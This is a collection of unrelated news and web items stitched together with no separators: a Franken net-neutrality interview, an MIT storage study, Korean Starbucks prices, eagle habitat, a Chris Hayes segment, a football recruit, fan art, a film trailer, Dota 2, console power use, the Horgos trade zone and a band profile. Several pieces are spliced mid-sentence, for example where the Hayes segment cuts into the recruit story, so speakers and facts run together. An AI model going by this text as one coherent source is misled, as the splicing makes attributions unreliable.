Mattis went on to hype the “threat” posed by Iran’s “nuclear industry,” insisting that the nation could be the spark that sets off a disastrous region-wide conflict. Given the general’s own comments, it seems a safe bet that the US would be the ones firing the first shots in any such conflict.
Last 5 posts by Jason DitzSenator Al Franken has a pretty good idea of what the term “net neutrality” means—and that, he says, puts him head-and-shoulders above many of his colleagues in the U.S. Congress.
“We literally have members of Congress—I’ve heard members of the House—say, ‘We’ve had all this innovation on the Internet without net neutrality. Why do we need it now?’” he told TIME in an interview last week. “I want to say, ‘Come on, just try to understand the idea. Or at least just don’t give a speech if you don’t know what you’re saying. Please—it hurts my head.”
Since coming to the Senate in 2009, Franken has been among the most outspoken proponents of so-called net neutrality rules, which require Internet service providers to treat all internet traffic—no matter the content or who produced it—equally. Under such rules, big broadband providers, like Comcast or Verizon, would be prevented from blocking or hampering consumers’ access to certain content, or prioritizing access to other content.
Franken’s colleagues who “don’t understand” the idea of net neutrality argue that the internet has been a bastion of innovation and investment for decades without such rules on the books. But the landscape of the internet has changed over the last decade, with once-tiny internet start-ups growing and consolidating into massive enterprises like Google, Amazon, and Comcast (the biggest internet service provider in the country). Franken argues that under such circumstances, net neutrality rules are necessary to protect tiny start-ups, which might become the next YouTube or Twitter, from being blocked by its now enormously powerful competition.
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“The idea of net neutrality is not to have the government ‘regulate the internet,’” Franken said. “It’s to keep the internet open, so that we still have the innovation and investment we’ve had in the past.”
The Federal Communications Commission (FCC) is now considering new net neutrality rules, which have been roundly panned by consumer and open internet advocates, including Franken. The proposed rules would allow content companies to purchase better delivery speeds and quality from Internet service providers, which, Franken said, “is the opposite of net neutrality.”
The new rules will create a “fast lane” and a “slow lane” on the internet—those in the fast lane will pay a premium for the opportunity, giving an advantage to Internet startups with deep pockets. “That’s pay for play,” Franken said, echoing the sentiments he put into a public letter to FCC Chairman Tom Wheeler last week. “That’s antithetical to net neutrality.”
The net neutrality discussion comes at a time when the television industry is undergoing a revolution. As the line blurs between watching traditional cable programming, like AMC’s “Breaking Bad,” on your living room TV, and watching premium programming, like Netflix’s popular show “House of Cards,” on your laptop or tablet, how the Internet is regulated will affect how—and for what price—TV is piped into your home, too.
Having come from the front lines of the television industry—Franken was a writer and performer for Saturday Night Live for more than three decades—the issue is particularly dear to his heart. Net neutrality rules would make it illegal for a cable TV and broadband company like Comcast, which owns NBC Universal and the rights for all its programming, from making its own video content stream more quickly over broadband than video from competing cable programmers or Internet-only upstarts, like Netflix or Amazon.
Franken has also been an outspoken critic of the proposed merger between Comcast and Time Warner Cable, two of the three biggest broadband providers in the country. The merger will make it harder for independent TV producers to survive, he argued; if the combined Comcast-Time Warner Cable company, which will control at least a third of the American cable market, doesn’t want to rebroadcast your show, you’re toast. (TIME magazine is owned by Time Warner, which separated from Time Warner Cable in 2009.)
On Wednesday, Franken spent a few minutes talking to TIME about the misunderstood concept of net neutrality, the cable companies’ merger, and the future of the internet. This interview was edited for length and clarity.
Why should the public care about the Comcast and Time Warner Cable merger or the net neutrality rules?
They should care [about the merger] because it’ll affect their cable bill, their bill for their Internet, and what kind of service they get. When you have the biggest cable provider buying the second biggest cable provider, you end up getting a big company—a behemoth—that cares even less about customer service. I’m not the first one to notice that Comcast is already pretty famous for providing bad service. And [the public] should care [about both the merger and net neutrality rules] because when you have competition, you have innovation. YouTube was invented in a pizzeria in San Mateo because you had net neutrality in place. They didn’t have to pay Comcast so people could see it.
How does the Comcast-NBC Universal merger in 2010, which you also opposed, affect the proposed merger today?
When [Comcast was] buying NBCU, they explicitly said, ‘We’re not broadening our distribution. This vertical integration is okay because we’ve still got other competitors.’ They named Time Warner Cable as their primary competitor. The CEO of Comcast Brian Roberts actually said that—he said, ‘There might have been motivation to over charge, but the existence of Time Warner Cable will keep us honest.’ And now they’re saying the opposite. They’re saying, ‘Time Warner Cable is not a competitor. We don’t compete with Time Warner Cable at all.’ They are absolutely contradicting everything they said four years ago.
The discussion about the merger is happening at the same time that the FCC is considering new net neutrality rules. How does one inform the other?
Comcast would love to keep the focus on TV, but the bigger issue here is broadband. This merger would be the first largest broadband provider in the country acquiring the third largest. Between them, they’ll control 40% of the internet broadband market, and data shows that about 30% of the people in this country have only one choice of broadband provider in their area. This would give [the new combined company] tremendous leverage in the market. What’s going to happen when one company has that kind of power?
Are the new net neutrality rules that FCC Chairman Tom Wheeler will propose next week consistent with what President Obama promised in 2007?
I believe [Obama] pledged to appoint FCC commission that would honor net neutrality and keep net neutrality as law. The latest proposed rules by Wheeler—what he’s really talking about is creating a fast lane where people can pay to have their content treated unequally. That’s not net neutrality. That’s pay for play. That’s antithetical to net neutrality.
So what should be done instead?
To my mind, you have to say that internet is telecommunications. That’s all you have to do. That’s the response to the courts. [In January, a DC court threw out the FCC’s net neutrality rules on the grounds that the FCC’s jurisdiction ended at “telecommunications.”] So you say, it’s telecommunications, and then FCC has the power to enforce net neutrality and continue to try to solve network management problems and we continue to have the kind of innovation that we’ve had, that has made the internet what it is.
Write to Haley Sweetland Edwards at haley.edwards@time.com.The two fastest growing sources of renewable energy, wind and solar, are intermittent—they don't always generate power when you need them to. The obvious solution is to add storage, like batteries, to shift some of the electricity to when demand is highest. Elon Musk is betting a Gigafactory that consumers are going to be interested in doing this, while California has mandated that 1.3 gigawatts of storage be added to the power grid before the decade is out.
But there are a number of different types of storage, each of which has distinctive properties: how fast electrons can be shuffled in and out, how easy it is to expand the storage capacity, and so on. All of these have different costs, and figuring out what storage is most economically viable is a serious challenge.
Three academics from MIT have decided to take up that challenge. They've tried to calculate when it makes economic sense to add storage to renewable projects in three different locations in the US. Their analysis indicates the finances among options are similar right now, but only for options other than batteries.
Running the numbers
The authors decided to model three different states: Texas, where wind is big; California, which is seeing a solar boom; and Massachusetts, which isn't an optimal location for generating renewable energy. They also considered several different storage technologies. These included a number of different battery types (lead acid, sodium-sulfur, lithium-ion, and so on), as well as compressed air storage and pumped hydro. Compressed air involves pumping air into an underground cavern and using it to supplement fossil fuel generation, while pumped hydro is like a hydroelectric dam that can also run in reverse.
For each location, the authors optimized the use of storage in terms of getting the best price for electricity generated by renewable sources. In practical terms, this meant modeling the discharge of the storage so that the energy generated by a renewable plant was always sold when demand (and therefore price) was highest.
Renewables still have some way to go before it makes sense to hook them up to a giant pool of storage.
Of course, this storage comes at a price. In the next step, the team considered two factors that vary based on the type of storage used: the cost of power, which is how much it costs to build the capacity to shuffle electrons in and out of the system; and the cost of energy, which is the price involved in building a bigger storage pool.
The results indicate that, in both Texas and Massachusetts, storage is more valuable for wind than it is for solar, but the differences aren't large. The total value provided by storage is highest in California and Texas.
But that value still isn't great. Only two of the technologies available today (compressed air and pumped hydro) actually add value to wind and solar. Adding the storage would be profitable only at prices that are slightly below any available on the market right now ($1.5 per Watt for wind). At that point, storage boosts wind's profitability by 11 percent. Thus, renewables still have some way to go before it makes sense to hook them up to a giant pool of storage. And batteries have even further to go before it makes sense to use them to build that pool of storage.
The authors also did projections using expected changes in cost for both renewables and storage technology. In some cases, these pushed more potential scenarios into profitability.
A rapidly changing market
The analysis, however, was limited in a number of ways. Storage can provide a wide range of valuable services, including grid stabilization and frequency management. If the storage is also used for those purposes, it becomes more profitable to have some. In addition, the US energy market doesn't currently have so many renewables that the price of electricity is consistently affected by them in most locations. Once states start seeing huge surges of, say, solar electricity at mid-day, it will depress the price of that energy and make storage more appealing.
But not everything makes storage look positive. Over the recent past, the price of renewables has dropped dramatically—faster than the price of storage has dropped. If that trend continues, it will pose trouble for storage, since it becomes more economical to just sell the power at a moderate price than to spend money to build storage to hold it for when the price is high. And, if you do want to spend money, it makes more sense to spend it on adding more renewable capacity.
So, in many ways, this analysis captures a snapshot of a rapidly changing market. But the tools the authors have developed to perform the analysis can be updated and modified to accommodate any future changes. And, as more states start to mandate putting storage on the grid, this analysis can definitely help policymakers understand what types of storage make the most economic sense.
Nature Climate Change, 2016. DOI: 10.1038/NCLIMATE3045 (About DOIs).Starbucks coffee in Korea sixth most expensive among 20 countries. August. 27, 2014 01:00..
Kim Seong-won, 38, who arrived in New York on Aug. 4 for a vacation, was puzzled. His favorite Starbucks Americano was only 2.45 dollars (tall size, 12 ounces). The coffee that he paid 4,100 won (4.01 dollars) in Korea was 1.56 dollars, 62.1 percent, cheaper in New York. He said, I cant understand why a Starbucks coffee in Korea is more expensive than in New York, which is infamous for high prices.
It turned out that a Starbucks coffee in Korea is twice more expensive than the U.S., the origin of the coffee brand, based on Purchasing Power Parity (PPP). When the prices were translated into market exchange rates, the coffee price in Korea was 1.64 times that of the U.S. Among 20 member countries of the Organization for Economic Cooperation and Development, a Starbucks coffee in Korea is the fifth highest among Starbucks coffee prices. The global comparison proved that coffee prices are generally high in Korea. Compared to other Korean coffee shops, the Starbucks coffee price in Korea is ranked sixth. This indicates that coffee prices are high in Korea, and many people say that Korean consumers are sitting ducks.
The Dong-A Ilbo analyzed with the Hyundai Research Institute the prices of Starbucks Americano in 20 OECD countries with the PPP exchange rates on Tuesday. The analysis found that a Starbucks Americano in Korea was 4.85 dollars, sixth among 20 countries, followed by Japan (3.53 dollars, 10th), France (3.51 dollars, 11th), Germany(3.21 dollars, 14th), and the U.K.(2.67 dollars, 16th).
Even when a Starbucks Americano price in Korea was calculated based on market exchange rates, Koreas ranking did not change. Switzerland topped with 6.22 dollars and Austria ranked second with 4.93 dollars but these countries have high prices generally.
Some say that coffees are expensive in Korea due to high rent rather than coffee bean prices or royalties. Starbucks Korea opened its stores in major commercial districts, which made its coffee prices relatively high. For example, there are as many as 15 stores in Myeongdong, a crowded region in downtown Seoul, if the area around Euljiro 1ga station and Shinsegae Department store is included.
According to the electronic filings of the Financial Supervisory Service, Starbucks rent increased by 20.3 percent from 80 billion (78.3 million dollars) in 2012 to 96.2 billion (94.1 million dollars) in 2013. The Korean National Council of Consumer Organizations said, The coffee price is already expensive but it raised the prices again last month. Starbucks is passing its rent to consumers.
Starbucks said, Starbucks coffee prices are set based on customer value or market conditions of each country to be competitive. It is not appropriate to compare prices by country because countries have different operation costs.
The Dong-A Ilbo compared prices of domestic coffee brands in Korea and Starbucks was ranked sixth. Based on the volume equivalent to a tall-size coffee of Starbucks, Paul Bassett was most expensive (5,100 won or 4.99 dollars) followed by The Coffee Bean & Tea Leaf (4,500 won or 4.41 dollars), and Angel-in-us (4,400 won or 4.31 dollars). According to the Korean coffee shop industry, the coffee market increased 7.6 percent from 1.55 billion dollars in 2012 to 1.66 billion dollars last year.
The market grows despite high coffee prices because there is demand from consumers, said Yeo Jun-sang, a business administration professor at Dongguk University professor. High prices reflect the combination of the coffee brand and drinking experience.The Fones Cliffs along the Rappahannock River in central Virginia is home to hundreds of nesting bald eagles, and as many as 20,000 visit the area during migration seasons. According to Bryan D. Watts, director of the Center for Conservation Biology, the location is "a global hot spot" for this iconic eagle species which, thanks to significant conservation efforts, has come back from severe population declines during the 1970s. “There’s no other place on the continent like the Chesapeake Bay for eagles, and this place is one of the most important places in the bay. It’s an eagle magnet," he told the Washington Post this week.
Even so, Diatomite Corporation of America has received approval from the Richmond County Planning Commission to rezone the cliffs. They plan to create a resort with luxury homes. Specifically, the plans include a 116-room lodge, guest cottages, a 150-seat restaurant, an 18-hole golf course, and 718 homes that would cost between $300,000 and $500,000 (when the average home price in the area is around $150,000).
When the bald eagles heard about the approval for rezoning their favorite spot in the Chesapeake Bay, they were like:
(Photo: Humming Bird Art/Shutterstock)
So too were many residents. The entire plan is a source of significant controversy in Richmond County. It's more than just cutting down the trees in which eagles nest. It's also an area that attracts thousands of visiting eagles each year. Construction could degrade the area for both resident and visiting eagles for years to come. Even the U.S. Fish and Wildlife Service is opposed to the development. After all, it was only eight years ago that the eagle was removed from the endangered species list.
The developers point out that the project would bring in new jobs and significant tax revenue. And of course 3,500-square-foot homes in a rural county where, according to the Washington Post, "the largest road, two-lane Route 624, is so sparsely traveled that workers didn’t bother to paint a yellow stripe."
In an article on Fredericksberg.com from March of this year, Watts notes that while the eagles have protection from hunting and disturbing their nests, they don't have protection against development. "The good thing about the Rappahannock River," said Watts, "is that many of the counties where the birds nest remain rural, and that’s the way it needs to stay for them to continue to thrive."
With the proposed development, the area may lose a bit of that rural feel. The Washington Post reports, "The county board of supervisors will start considering the proposal in the fall, a process that could take a year."
It's still unknown whether the plans will be approved and development will move forward, but the bald eagles certainly have conservation-minded residents and organizations fighting for them to keep their reclaimed place in this favored bend of the river.
Related on MNN:
Hundreds of bald eagles may lose their home to a golf resort
Developers plan to clear out a "global hotspot" for nesting bald eagles to set up luxury homes and a golf course.After an unruly mob ran amuck on the heels of the U.S. Open of Surfing in Huntington Beach, California on Sunday, Gawker columnist Cord Jefferson penned a piece taking oft-made generalizations about "violent black youth" and turning them around on white people.
Jefferson expanded on that theme in a segment on "All In With Chris Hayes" Tuesday night, playing the part of a concerned citizen wondering how the white community is going to deal with the "problems of white culture."
"You probably haven't heard much about the white riot in Huntington Beach," Hayes began. "That's because the story of white criminal culture is not a story the mainstream media will tell you. But once you scratch the surface, these stories are everywhere you look."
Hayes and Jefferson engaged in a back-and-forth that parodied several tired tropes that surface when talking heads discuss race on TV.
"There are people that are going to tell you that... this has nothing to do with white people, it's just a few bad apples. What do you say to that?" Hayes asked.
"To that I say that if that's your actual belief then you're living with your head in the sand," Jefferson said. "I used to live in New York City and would occassionally go to Hoboken, New Jersey's St. Patrick's Day parade, and there were so many young white men there vomiting in the streets, urinating in the streets, getting in fistfights in the streets. It was a sight to be seen."
"Do you have a personal problem with white people?" Hayes later asked. "Is this animus?"
"No, I think any time that you tell the truth there's going to be those people who come out and think you're doing it for some ins |
,'" his father said.
"We just got his final grades, and he's gotten straight A's for his senior year."
Madden is graduating high school next week with the original intentions of enrolling early. Chryst told them that Wisconsin would not be able to get him a letter of acceptance until late in the Spring, and the chances of that even happening were slim as well.
"I went through the roof because we had been absolutely led down a path. We were asked to be loyal and not take any other official visits," his father said. "I was out of the country when I got the call and was traveling all week so I couldn't even tell Sam until yesterday (Saturday) and that was very upsetting because we felt we were betrayed.
"At the end of the day it boils down to this: The University of Wisconsin made him an offer and said 'if you do this academically, you’re in here. Please commit to us, don’t take any other visits. We did everything we were asked to do. They lied to us and didn’t do what they said they would do.'"
Now that Madden is no longer going to Wisconsin, his family and high school coach are in the process of calling other schools. One of those schools that has been thrown around as a potential destination is Michigan.
"With Jim Harbaugh going to Michigan, they are of great interest," his father said. "He’s an amazing coach and I think he’s going to turn that program around really fast. Both Michigan schools would definitely be of interest and there are a few other schools we've discussed.
"We have not heard from them (Michigan), but we would be thrilled to be. It’s a pretty exciting program with an amazing legacy to potentially join, so that would be an exciting call to get. We’ll see what’s available and what’s out there and just have a realistic conversation. I've got all of Sam’s grades ready to send anybody quickly if there’s interest."
Still, the family is frustrated by the turn of events, saying that after he committed to Wisconsin they ceased contact with schools like Florida, Alabama and other big name programs. Regardless, his father knows the type of player a program will be getting before it's all said and done.
"We’re looking for a good school for Sam to go," he said. "He’s a passionate road grader, loves the game and does anything that’s asked of him by his coaches.
"He’s a very passionate and powerful player and he’ll make an impact wherever he goes."Search Gallery A:tLA
formal Fanart folder.
Even AtLA is long finished my love is still flowing~♥
I basically write down how I came up with the picture or tell some background story of each work in the description. Ignoring my poor English, i think they are worth to have a read
Thank you for all your favo ahead.
Avatar: the Last Airbender by Michael Dante DiMartino and Bryan Konietzko
BTW: I've moved all the cute and narrative pieces to the "Chibi Avatar" Folder
** I'm trying to develop my own "style" by testing different styles now. if you particularly like one certain style, please let me know. Welcome to my Avatar: the Last Airebenderformal Fanart folder.Even AtLA is long finished my love is still flowing~♥I basically write down how I came up with the picture or tell some background story of each work in the description. Ignoring my poor English, i think they are worth to have a readThank you for all your favo aheadAvatar: the Last Airbender by Michael Dante DiMartino and Bryan KonietzkoBTW: I've moved all the cute and narrative pieces to the "Chibi Avatar" Folder kelly1412.deviantart.com/galle… ** I'm trying to develop my own "style" by testing different styles now.if you particularly like one certain style, please let me know. Lock Azula up kelly1412 755 Azula-I'll burn you kelly1412 2,886 Advertisement Advertisement Come On Korra!!!_Sktech kelly1412 3,762 Grown up Zuko kelly1412 5,019 Ozai n Azula ( Happy OZ Father's Day 2012) kelly1412 2,812 Master Toph kelly1412 6,394 Grownup Zutara -season kelly1412 3,164 Let the devil sleep (Azula) kelly1412 6,188 Fire Prodigy _ Azula kelly1412 3,323 Mother and Daughter _ Ursa x Azula kelly1412 4,106 Aang-the last Airbender kelly1412 2,170 Master Azula kelly1412 3,577 The Legend of Azula kelly1412 4,019 Be your shield _ Toph x? kelly1412 1,660 Black Tylee _ Chi Blocker kelly1412 1,484 Cross Over _ Korra vs Azula kelly1412 1,415 Listen Avatar... kelly1412 2,658 Toph's new outfit kelly1412 3,045 TyZula_Here we come, BaSingSe kelly1412 3,257 Toko_Come over here kelly1412 2,083 Azula _ Childhood Dream kelly1412 935 Zutara-Fire and Water Melody kelly1412 2,144 Action Pose Doodle2_ Gaang1 kelly1412 3,471 Action Pose Doodle_Ozai's Angel kelly1412 2,023The trailer for First Independent Pictures' Gigantic.
Brian Weathersby (Paul Dano) is a 28 year-old salesman at a high-end Swedish mattress company. The afterthought child to elderly parents (Ed Asner, Jane Alexander), and the youngest son in a trio of successful brothers, a shady oil man (Ian Roberts), a surgeon (Robert Stanton), Brian is searching for his place in the world. Unfulfilled by his work he spends a good portion of his day pursuing his goal of someday adopting a baby from China. He gets swept up in a romance with the lovely but misguided Harriet Lolly (Zooey Deschanel) when she comes in to his store one day and falls asleep on one of the beds. To win her over, he must compete with her bear of a father, Al Lolly, (John Goodman) an art-collecting loudmouth with a bad back and deep pockets. Gigantic is a funny, surreal love story about the anxiety that comes when two people with crazy families collide unexpectedly and fall for each other.
Duration
2 min 20 sec
Views
201,502
Posted On
February 12, 2009 Director
Matt Aselton
Writer
Matt Aselton
Studio
First Independent Pictures
Release
April 3, 2009 Cast
Paul Dano
Zooey Deschanel
John Goodman
Ed Asner
Robert Stanton Trailer Tracks
No Music Available First Independent Pictures
Comedy
Romance
Paul Dano
Zooey Deschanel
John Goodman
Jane Alexanderposted by rosemaryy
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EG at The International 2015 - Photo from Techniasia.com
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ESL One New York is set to take place on the 3rd-4th October at Madison Square Garden. 8 teams will be participating in the event; with four direct invites and four qualified ones. EG will now be joining Team Secret, Virtus Pro and CDEC Gaming at the finals and compete for the $250,000 prize pool.EG has been dominating the competitive scene these past few years with impressive performances at major tournaments. Considering their recent win in The International 2015 and Dota 2 Asia Championship this year, it has been expected that they will be invited to this year's ESL One event. Having come second in past ESL One events, the team will surely be aiming to win the championship in this renowned tournament.The four invites will be joined by the winners of the main qualifiers of the four regions; Europe, China, North America and SEA. No regional qualifier has concluded yet, but the European and SEA qualifiers are already underway.The PlayStation 4 and Xbox One's standby modes and video capabilities are responsible for the vast increases in power usage over their previous-generation versions, according to a new report from the Natural Resources Defense Council.
The NRDC, a nonprofit environmental advocacy group, conducted extensive testing last month with the PS4, Wii U and Xbox One to determine the consoles' power consumption across a variety of functions. The organization collected its findings in a report called "The Latest-Generation Video Game Consoles: How Much Energy Do They Waste When You're Not Playing?" Prior to this report, the most recent NRDC paper on game console power usage came in 2008.
"The new consoles consume more energy each year playing video or in standby mode than playing games"
Headlining the new NRDC report is a staggering figure: If the PS4, Wii U and Xbox One replace the 110 million units of PlayStation 3, Wii and Xbox 360 consoles that were sold in the U.S. from 2005 through 2013, the total energy use of the three current-generation systems will top 10 billion kilowatt-hours of electricity per year — enough to power all of Houston, the nation's fourth-largest city. And that energy total would cost American households $1 billion in annual power bills, with 40 percent of it — $400 million — going to electricity that's wasted while the consoles are in standby mode.
Over the course of a year, the PS4 and Xbox One will consume two to three times as much energy as the latest models of the PlayStation 3 and Xbox 360, according to the NRDC. That's true even though both of the new consoles incorporate energy-saving features like improved power scaling (the ability to use only as much energy as a particular task requires) and options for automatically powering down after a certain amount of time.
"The new consoles consume more energy each year playing video or in standby mode than playing games," the report reads.
According to the NRDC's tests, the PS4 draws 8.5 watts in standby (3 watts with USB charging disabled), while the Wii U draws a mere 0.4 watts. The Xbox One, in its default configuration, consumes 15.7 watts in standby, largely due to Kinect voice control — the device is always listening for the phrase "Xbox on." The NRDC calculated that the Xbox One's standby power usage comprises 44 percent of its annual power consumption.
The Xbox One does use less energy than the PS4 when it's playing games (112 watts versus 137 watts) or streaming videos (74 watts versus 89 watts). However, the Xbox One's TV functionality requires the console to be on whenever a user wants to watch cable TV, which adds an extra 72 watts to TV viewing. The NRDC report recommends that Microsoft update the Xbox One to allow TV watching while the console is off.
The Xbox One's TV functionality adds an extra 72 watts to TV viewing
Sony and Nintendo didn't get away scot-free. The report suggests that Sony reduce the amount of standby power the PS4 requires with USB charging enabled but not in active use, and cut down power usage during streaming video playback. Nintendo, the report says, should change the Wii U's notifications so the console doesn't continually alert users that automatic power down is enabled — the nagging pop-ups can lead people to disable the feature, which would cause higher power usage.
The report notes that a combined 8 million units of PS4 and Xbox One consoles had been sold worldwide within two months of their launches in November. In their lifetime, those systems will use a total of 8,000 gigawatt-hours of electricity and be responsible for 3 million metric tons' worth of carbon dioxide emissions.
If neither Sony nor Microsoft change the way the PS4 and Xbox One currently run, the report warns, "Much of that energy will be consumed when no one is using the console but it is still listening for a voice command in the middle of the night and using higher power than necessary to keep USB ports active."
You can find many more details in the full NRDC report (PDF).HORGOS, China/KHORGOS, Kazakhstan (Reuters) - On the border of China and Kazakhstan, an international free trade zone has become a showpiece of Chinese President Xi Jinping’s signature “Belt and Road” Initiative to boost global trade and commerce by improving infrastructure and connectivity.
Chinese state media are filled with stories about the stunning success of Horgos, the youngest city of China’s new Silk Road. Last month at China’s Belt and Road Summit - its biggest diplomatic event of the year - promotional videos about Horgos’ booming economy ran on a loop at the press centre.
But Chinese business owners and prospective investors who had recently visited the China-Kazakhstan Horgos International Border Cooperation Center (ICBC), told Reuters they were disappointed by the disconnect between the hype and reality.
Rather than the vibrant 21st Century trading post of Beijing’s grand vision, Horgos is instead developing a reputation as China’s very own tax haven.
“We were so unimpressed by what we saw that after looking around for three hours, we turned around and drove eight hours straight back to Urumqi,” said a businessman from the capital of China’s far western region of Xianjiang, who only wanted to give his surname, Ma, due to the sensitivity of the topic.
Several business owners echoed complaints about poor design and low visitor numbers made by Ma, who visited Horgos to investigate the viability of opening a high-end clubhouse.
“You’ve got Kazakh farmers walking around with plastic bags full of cheap Chinese t-shirts and you want me to open a club for government officials and businessmen to meet inside the zone - which, by the way, you can’t drive your car into and doesn’t have any five-star hotels?” Ma said.
On the Chinese side of the border there are five malls selling cheap consumer goods, though traders complain there are not enough visitors.
“Sometimes I’ll sit here for a whole day and not make a single sale,” said Ma Yinggui, 56, who has a market stall selling clothes. “Some Kazakhs are rich but most are poor. They come and haggle over a 20 yuan ($2.93) t-shirt.”
More than five years after the 5.3 sq km trade zone opened, much of the Kazakh side remains empty.
Only 25 of the 63 projects on the Kazakh side have investors, according to Ravil Budukov, ICBC press secretary on the Kazakh side. About 3-4,000 people enter from Kazakhstan each day and around 10,000 from China, he added.
The Xinjiang and Horgos governments declined to make officials available for comment to Reuters for this article.
Huang Sanping, a senior Xinjiang government official, told Reuters at a news conference in Beijing that he had just returned from a visit to Horgos, a city “performing extremely well. It’s full of vitality and flourishing”.
CHINA’S TAX HAVEN
Beijing has bestowed numerous tax breaks and preferential policies on Horgos hoping to stimulate growth in this strategic border town in Xinjiang, a key link on the new Silk Road between China and Central Asia, where the government says it is battling to defeat Islamist extremism.
According to Horgos’ tax bureau, 2,411 companies registered in Horgos last year, taking advantage of five years of no company tax, and a further five years paying half rate.
A view of a rail mounted gantry crane is seen at the Khorgos Eastern Gateway in Khorgos, Kazakhstan May 17, 2017. Picture taken May 17, 2017. REUTERS/Sue-Lin Wong
At least half those companies are registered in Horgos solely for tax purposes, estimates Meng Shen, Director of Chanson & Co, a boutique investment bank in Beijing.
Chinese celebrities are opting to register production companies in Horgos and an increasing number of financial services and IT companies are also registering there, according to Guan Xuemei from Shenzhou Shunliban, a tax advisory firm that recently opened an office there.
But with no obligation to operate from Horgos or even in Xinjiang, it is unlikely this policy will create jobs or bring money to what has long been an economic backwater, say experts.
“In theory this is a good policy because it aims to stimulate the local economy,” said Shen. “But Beijing didn’t think through the fact lots of companies wouldn’t actually want to operate from Horgos which is very far away from China’s economic center.”
Those who do trade in the “free trade zone” find they face restrictions from both sides.
The Russian-led Eurasian Economic Union (EEU) - of which Kazakhstan is a member - limits traders from the Kazakh side to importing up to 50 kg (110 lbs) of any goods per month duty-free.
China bans imports of many food products - the Kazakh goods most desired by Chinese consumers worried about food safety at home - and caps traders from taking more than 8,000 yuan ($1,175) worth of goods out each day.
“The EEU is a significant barrier because Russia and Kazakhstan and other Central Asia countries want to develop their own industries, they don’t want to constantly rely on cheap Chinese goods,” said a former Chinese government official turned businessman, who spoke on the condition of anonymity.
Mao Shishi, 44, who currently raises cattle in nearby Qingshuihe, wants to import wool and wild herbs used in traditional Chinese medicine from Kazakhstan to China through Horgos.
“I’m watching and waiting for any policy changes. Right now we can’t import lamb, fish or wild herbs into China,” Mao said.
LOGISTICS THOROUGHFARE
Plans to develop a parallel special economic zone in Khorgos - as it is known on the Kazakh side - as a logistics hub appear to be having more success.
Trade volumes are sky-rocketing at the Khorgos Gateway dry port in Kazakhstan, where container freight is lifted off Chinese trains and onto Kazakh ones because of different gauge rail tracks.
“According to our plans, this year we are going to trans-ship around 100,000 TEUs, five times more than we are doing now,” said Asset Seisenbek, head of the commercial department at Khorgos Gateway, referring to “twenty-foot equivalent units”, an industry measure based on standard shipping container sizes.
Electronics giants HP and Foxconn both ship goods through the dry port, which is faster than sea freight but cheaper than air cargo. One container sent by sea to Europe is about three times cheaper than rail, while air freight is between five to 10 times more expensive, according to Seisenbek.
Last month China’s COSCO Shipping and Lianyungang port took a 49 percent stake in Khorgos Gateway which Seisenbek sees as an opportunity to attract more Chinese business.
Slideshow (11 Images)
This sort of investment is what Horgos/Khorgos should hang its hat on, according to Ma, the businessman underwhelmed by the international free trade zone.
“The free trade zone doesn’t need to be that successful if the intercontinental trains and roads take off,” he said. “In the grand scheme of things, that’s the main role for this part of the world.” ($1 = 6.8100 Chinese yuan renminbi)Gross Ghost
with Last Year's Men and Schooner
Friday, Nov. 22
9:30 p.m., $8–$10
Cat's Cradle Back Room
× Expand Gross Ghost
Nick Petersen knows how records get made. A local musician and recording engineer, he calculates he's worked on nearly 1,000 of them by nowEPs and LPs, singles and demos, for bands from Bon Iver and the Melvins to projects he's called his own, including Horseback and Airstrip.
He's also the only person ever to work with the Chapel Hill four-piece Gross Ghost. He's quick to mention, playfully, that they might be one of the most laborious bands he's ever helped. As he puts it: "Gross Ghost is a pain in the ass."
"I was there as a friend of the band to help them out," he explains of making their new second album, Public Housing. The duties sound as much like attempting to control chaos as setting up microphones. "They're all individually awesome people, but to get all those awesome people into the same place at the same time with instruments, it's a nightmare."
Gross Ghost released Public Housing late last month, and in spite of Petersen's observations, the sophomore effort seems to represent the band's quest to be taken seriously: It's their first for Odessa Records, the home to Spider Bags and The Kingsbury Manx, and their first for a truly solidified lineup, with fixtures and founders Mike Dillon and Tré Acklen adding longtime collaborators Christopher Hutcherson-Riddle and Rob Dipatri to the permanent mix. As with their debut, Brer Rabbit, this record harnesses lo-fi garage rock and '60s pop thrill. But Brer Rabbit featured three drummers; Public Housing has just one. Such lineup solidification has allowed for newfound complexity in Gross Ghost's arrangements.
"When I played on the first record, I had literally never heard the songs before," remembers Hutcherson-Riddle. "I went in and Mike sort of beat-boxed his general impression of what he wanted. [This time], we really fleshed the songs out as a band, which we had not done before."
That's not to say the sessions were without hiccups and hijinks. With a paltry recording budget and a pressing label deadline, the band worked out a deal with Kym Register at The Pinhook to record there during daytime hours in March. Takes were interrupted by panhandlers banging on the doors, beer vendors pushing in handcarts of cans, teenagers looking for somewhere to hang out, and poster distributors stopping in for their weekly deliveries. They also didn't know how to turn the lights on in the bathroom, which they'd converted into an ad hoc isolation booth. Recording guitars required wearing a headlamp. Things got erratic, Petersen admits, so he encouraged the band to decamp to a secluded studio in Pittsboro for a final push.
"When you're setting up a studio and tearing it down every single day, you don't get a chance to really sit there and enjoy and be critical about what you just captured," he says. "I thought if I can trap these guys out there for two days in the middle of the country, cell phones don't work. They can't wander off. No one can just pop by. We can get most of this record done."
So Gross Ghost and Petersen spent three days working uninterrupted, and the results expound on the successes of Brer Rabbit. Fuzzy pop and restless rock co-mingle, and Dillon, something of a trickster on tape in the past, delivers his most poignant and relatable songs to date. He jokes that the title Public Housing was a way to fess up to a couch-crashing stint of semi-homelessness following a breakup. But the name also illuminates Dillon's apparent entrance into adulthood. Hurt feelings meet big hooks, and fuzzy guitars tangle with thorny truths.
"There's some lyrics on the record about housing your feelings and keeping inside all these emotions," he admits. "One day it cracks, and then they're all over the place for everyone to see. It's all on display. My life was on display for a little while."
Dillon still laughs when Gross Ghost is referred to as any sort of established band: "Tré and I don't even own our own instruments," he admits. But he and the band have put a lot of sweat into taking this record to a new level.
Whatever jokes he may make at his own expense, Dillon is hopeful and, more important, resolute to use Public Housing to push these songs outside of the band's Triangle bubble.
"While it's inspiring and it helps keep us motivated, it's also easy to think of this as all you need to do to be in a band. For some people, it is all they need," he says of remaining a "local band" forever. "I like playing shows where I don't know anybody in the crowd. After the show if they choose to say something, it validates everything. It's why we do it."
Hutcherson-Riddle and Dillon have played together in bands for more than a decade, including the late dance-punk Spader and the throbbing electronic-rock group Motor Skills. Hutcherson-Riddle takes the potential charge of Gross Ghost seriously and personally.
"If we want to take it to the next level, then we really do have to tackle that stuff," Hutcherson-Riddle says. They've worked harder to build press and find a booking agent, to book tours and get in front of new fans.
"Recently for my birthday," he says, "my Dad asked me what I wanted, and I got a bass cab just because Gross Ghost needed it. It wasn't even for me. I really believe in this."
